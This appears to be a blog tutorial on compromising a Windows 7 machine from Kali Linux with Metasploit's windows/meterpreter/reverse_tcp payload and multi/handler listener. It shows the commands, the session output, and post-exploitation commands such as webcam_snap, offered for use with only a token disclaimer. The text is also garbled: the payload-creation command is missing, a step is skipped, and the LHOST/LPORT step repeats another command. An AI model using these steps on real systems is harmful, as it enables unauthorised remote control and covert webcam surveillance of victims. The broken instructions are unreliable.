Kali Linux is derived from Debian Linux flavor and its mainly used for penetration tasting. It has more than 300 pre-installed penetration-testing programs. It is a supported platform of the Metasploit Project’s Metasploit Framework, a tool for developing and executing security exploits. Let begin with hack windows with Kali Linux.Kindly note that , I am writing this post for education purpose only.
Source machine details:
Kali Linux
```
root@kali:/# uname -a
Linux kali 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux
root@kali:/#
```
Target machine used for hacking:
```
Windows 7 Ultimate SP1
```
Step 1\. Create Payload
Payload is a program which is similar as a virus or trojan which get executed on the remote machine for hacking purpose. To create payload program use below command which will hack windows with Kali Linux.

msf >
```
Step 3: For exploiting I have used following details:
* Port 4444: you can use as per your choice
* LHOST IP: which is nothing but the Kali Linux machines IP 192.168.189.128\. to Know ip of your kali machine use below command.
```
root@kali:/# ip r l
192.168.189.0/24 dev eth0 proto kernel scope link src 192.168.189.128 metric 100
root@kali:/#
```
Now give following command at msf prompt “use exploit/multi/handler”
```
msf > use exploit/multi/handler
msf exploit(handler) >
```
Then give command “set payload windows/meterpreter/reverse_tcp” at the next prompt:
```
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
```
Now set local IP and port using LHOST and LPORT command as below:
```
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
```
and finally give exploit command.
```
msf exploit(handler) > exploit
[*] Started reverse TCP handler on 192.168.189.128:4444
[*] Starting the payload handler...
```
Now you need to execute the “program.exe” on the windows machine once its executed on target machine , you canable to establish a meterpreter session. Just type sysinfo to get the details hacked windows machine.
```
msf exploit(handler) > exploit
[*] Started reverse TCP handler on 192.168.189.128:4444
[*] Starting the payload handler...
[*] Sending stage (957999 bytes) to 192.168.189.1
[*] Meterpreter session 1 opened (192.168.189.128:4444 -> 192.168.189.1:53091) at 2017-01-26 00:51:31 +0000
meterpreter > sysinfo
Computer : MANN-PC
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64 (Current Process is WOW64)
System Language : en_IN
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/win32
```
Once you successfully get this details you can do more exploit or get more information using “help” command which will show all the options by which you can hack the system e.g. to get the webcam snap use command “webcam_snap” same way you can use many available option available. Happy hacking!!!!
